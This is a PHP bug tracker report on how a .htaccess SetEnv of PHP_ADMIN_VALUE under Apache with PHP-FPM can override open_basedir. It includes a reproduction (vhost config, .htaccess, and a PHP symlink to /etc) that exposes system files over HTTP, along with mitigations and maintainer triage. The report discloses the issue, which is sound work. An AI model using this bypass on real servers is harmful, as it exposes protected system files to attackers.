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Request #72129 PHP_VALUE, PHP_ADMIN_VALUE... changed by environment variables set in .htaccess
Submitted: 2016-04-29 15:46 UTC Modified: 2021-12-04 18:23 UTC
From: ouroboros_17 at hotmail dot com Assigned: bukka (profile)
Status: Assigned Package: FPM related
PHP Version: 5.6.21 OS: Debian (all Linux distributions)
Private report: No CVE-ID: None
 [2016-04-29 15:46 UTC] ouroboros_17 at hotmail dot com
Description:
------------
It is possible, for a malicious user, to change PHP configuration with a .htaccess file on Apache with PHP-FPM. It is not something trivial, but if he can upload a .htaccess in the www folder, he can break open_basedir restrictions (see example below).

This behaviour can be fixed:
- AllowOverride None in Apache configuration (a good practice but it is not really usual in the real world)
- prevent upload of .htaccess (application side, not related with PHP-FPM)
- disable mod_env

PHP as a module of Apache cannot be affected because only php_value can be set in .htaccess.

It should be documented at least, or it should be possible to disable the hability to set configuration via environment variables.

See bug #3991 too.

Test script:
---------------
Apache vhost
------------------
DocumentRoot /var/www
<Directory /var/www/>
  AllowOverride All

  <FilesMatch \.php$>
    SetHandler "proxy:unix:/var/run/php5-fpm.sock|fcgi://localhost/"
  </FilesMatch>
</Directory>


/var/www/.htaccess
------------------
Options +FollowSymLinks -SymLinksIfOwnerMatch
SetEnv PHP_ADMIN_VALUE "open_basedir=/"


/var/www/index.php
------------------
<?php symlink('/etc', 'foo');


PHP-FPM pool
------------------
[...]
php_admin_value[open_basedir] = /var/www


Access "index.php" with HTTP so it creates the symlink, see files in /etc via the http://example.com/foo URI.


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-04-29 22:53 UTC] stas@php.net
-Assigned To: +Assigned To: fat
 [2017-10-24 07:45 UTC] kalle@php.net
-Status: Assigned +Status: Open -Assigned To: fat +Assigned To:
 [2021-07-12 16:05 UTC] cmb@php.net
-Type: Security +Type: Bug
 [2021-07-12 16:05 UTC] cmb@php.net
> but if he can upload a .htaccess in the www folder, he can break
> open_basedir restrictions

open_basedir bypasses are not considered to be security issues;
cf. <https://externals.io/message/105606>
and <https://externals.io/message/115406>.

Besides that the possibility to upload a .htaccess to the web root
would be a serious issue of the application.

> /var/www/index.php
> ------------------
> <?php symlink('/etc', 'foo');

This code looks obviously malicious, so is not a security issue
according to <https://wiki.php.net/security#not_a_security_issue>.
 [2021-12-04 18:23 UTC] bukka@php.net
-Type: Bug +Type: Feature/Change Request
 [2021-12-04 18:23 UTC] bukka@php.net
This behaviour is on purpose and its mitigation (optional disabling) is treated as a feature.
 [2021-12-04 18:23 UTC] bukka@php.net
-Assigned To: +Assigned To: bukka
 
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